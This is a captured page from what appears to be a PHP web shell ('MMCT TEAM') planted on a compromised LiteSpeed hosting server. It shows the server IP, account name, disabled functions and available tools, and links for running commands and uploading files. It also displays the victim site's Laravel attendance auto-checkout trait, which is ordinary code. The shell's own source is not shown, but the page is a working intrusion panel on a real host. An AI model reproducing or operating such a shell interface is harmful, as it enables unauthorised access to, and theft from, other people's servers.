MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/hrms.ncriptech.com/app/Traits/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/hrms.ncriptech.com/app/Traits/AutoCheckoutTrait.php
<?php
namespace App\Traits;

use App\Models\Hrm\Attendance\Attendance;
use Carbon\Carbon;

trait AutoCheckoutTrait {
    public function autoCheckout(){
        
        
        try {
            //code...
            $attendances = $this->incompleteAttendances();
            foreach($attendances as $attendance){
                $inputTime = $attendance->user->shift->dutySchedule->end_time;
                $time = Carbon::createFromFormat('H:i:s', $inputTime);
                $time->addMinutes(1);
                $resultTime = $time->format('H:i:s');

                $attendance->update([
                    'check_out' => $attendance->date.' '.'21:59:59',
                    //'check_out' => $attendance->date.' '.$resultTime,
                ]);
            }
            echo "Auto Checkout Successful";
        } catch (\Throwable $th) {
            //throw $th;
            echo "Sorry! Something went wrong";
        }

    }

    protected function incompleteAttendances(){
        $selectable = ['id', 'user_id', 'date', 'check_in', 'check_out'];
        $Incomplete_attendances = Attendance::with('user')->whereNotNull('check_in')->whereNull('check_out')->select($selectable)->get();
        return $Incomplete_attendances;
    }
}

MMCT - 2023